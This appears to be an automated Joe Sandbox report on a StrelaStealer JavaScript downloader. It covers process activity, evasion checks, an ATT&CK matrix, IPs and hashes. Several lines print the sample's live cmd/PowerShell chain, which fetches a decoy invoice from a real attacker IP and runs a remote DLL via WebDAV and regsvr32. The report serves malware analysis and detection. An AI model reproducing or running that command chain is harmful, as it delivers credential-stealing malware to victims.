Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4375			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5477			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7648	Thread sleep count: 4375 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7632	Thread sleep count: 5477 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6092	Thread sleep time: -14757395258967632s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5868	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 6704	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7644	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 00000007.00000002.1375050807.000002BED5AC0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2599778551.000002704EE2B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW0
Source: net.exe, 00000007.00000003.1359411732.000002BED5B19000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2601789626.000002705445A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: wscript.exe, 00000000.00000003.1298148645.0000028D98A1E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: _NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21681712126884.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21681712126884.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21681712126884.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21681712126884.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21681712126884.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	Junk Data	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	Steganography	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
2449715899306403241.js	8%	Virustotal		Browse
2449715899306403241.js	11%	ReversingLabs	Script-JS.Trojan.StrelaStealer

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/T	0%	Avira URL Cloud	safe

Name	Source	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	wscript.exe, 00000000.00000003.1298148645.0000028D98A1E000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.1299492837.0000028D98A13000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crl.ver)	svchost.exe, 00000009.00000002.2601636066.000002705440F000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D.8.dr	false		high
https://www.adobe.co	ReaderMessages.5.dr	false		high
http://193.143.1.205:8888/T	net.exe, 00000007.00000002.1375159593.000002BED5AE9000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1361233525.000002BED5AE9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/Prod-C:	edb.log.9.dr, qmgr.db.9.dr	false		high
http://193.143.1.205:8888/	net.exe, 00000007.00000002.1375251345.000002BED5B0E000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1375159593.000002BED5AE9000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1359411732.000002BED5B0C000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1375050807.000002BED5AC0000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1361233525.000002BED5AE9000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/L	net.exe, 00000007.00000002.1375159593.000002BED5AE9000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1361233525.000002BED5AE9000.00000004.00000020.00020000.00000000.sdmp	false		high
https://g.live.com/odclientsettings/ProdV2-C:	svchost.exe, 00000009.00000003.1364348992.00000270542B0000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588939
Start date and time:	2025-01-11 07:24:31 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 58s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	2449715899306403241.js
Detection:	MAL
Classification:	mal100.rans.spyw.expl.evad.winJS@27/61@0/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 172.64.41.3, 162.159.61.3, 184.28.90.27, 23.209.209.135, 199.232.214.172, 2.16.168.105, 2.16.168.107, 2.22.242.11, 2.22.242.123, 23.219.161.132, 192.168.2.10, 13.107.246.45, 52.22.41.97, 20.109.210.53, 23.56.162.204, 13.85.23.206, 172.202.163.200
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
01:25:27	API Interceptor	25x Sleep call for process: powershell.exe modified
01:25:31	API Interceptor	1x Sleep call for process: net.exe modified
01:25:31	API Interceptor	2x Sleep call for process: svchost.exe modified
01:25:40	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	369248682699819312.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	30011267761667014058.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	32279194341766111087.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	11626244731900027402.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1194187433219817322.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	187637497286212310.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2650280751468214741.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	24233226922003220721.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1554336511338510086.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	3107622714995924320.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	131612862076531181.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	369248682699819312.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	30011267761667014058.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	32279194341766111087.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	11626244731900027402.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	26641100881772821841.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	32486157991878827956.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1194187433219817322.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	187637497286212310.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1775148551349412785.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8807659047433184
Encrypted:	false
SSDEEP:	1536:0JVRkX56mk0alaS0aHH0anjJ8PUWJ81s5J8RMvCxwtYD0pQoltqNeveEQYQ1aG9Z:0J7adfWuK0p/QDfKoPeuP0aN4fqoxq
MD5:	0BEBC2899EFC454D70C2C3AAE1AB5E6E
SHA1:	A490B19A12CAD68AF97AE7C49B3E7D7B571DF7F6
SHA-256:	5B1C0C5B34C210979BF8F7594EF8A2878D949E2941217AE327163C34283D1AE3
SHA-512:	69D7D836168D69C7930DBF61B9035B218822F4C61C6826AD4D9546BA66B0C1D24D7D7B29F938C5489701880F62D79352C0CC6281A8CF696DE0FB3C10175BB2FE
Malicious:	false
Preview:	2.e.........@..@12...{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@.................................K<...kS..#.........`h.................h.......0.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

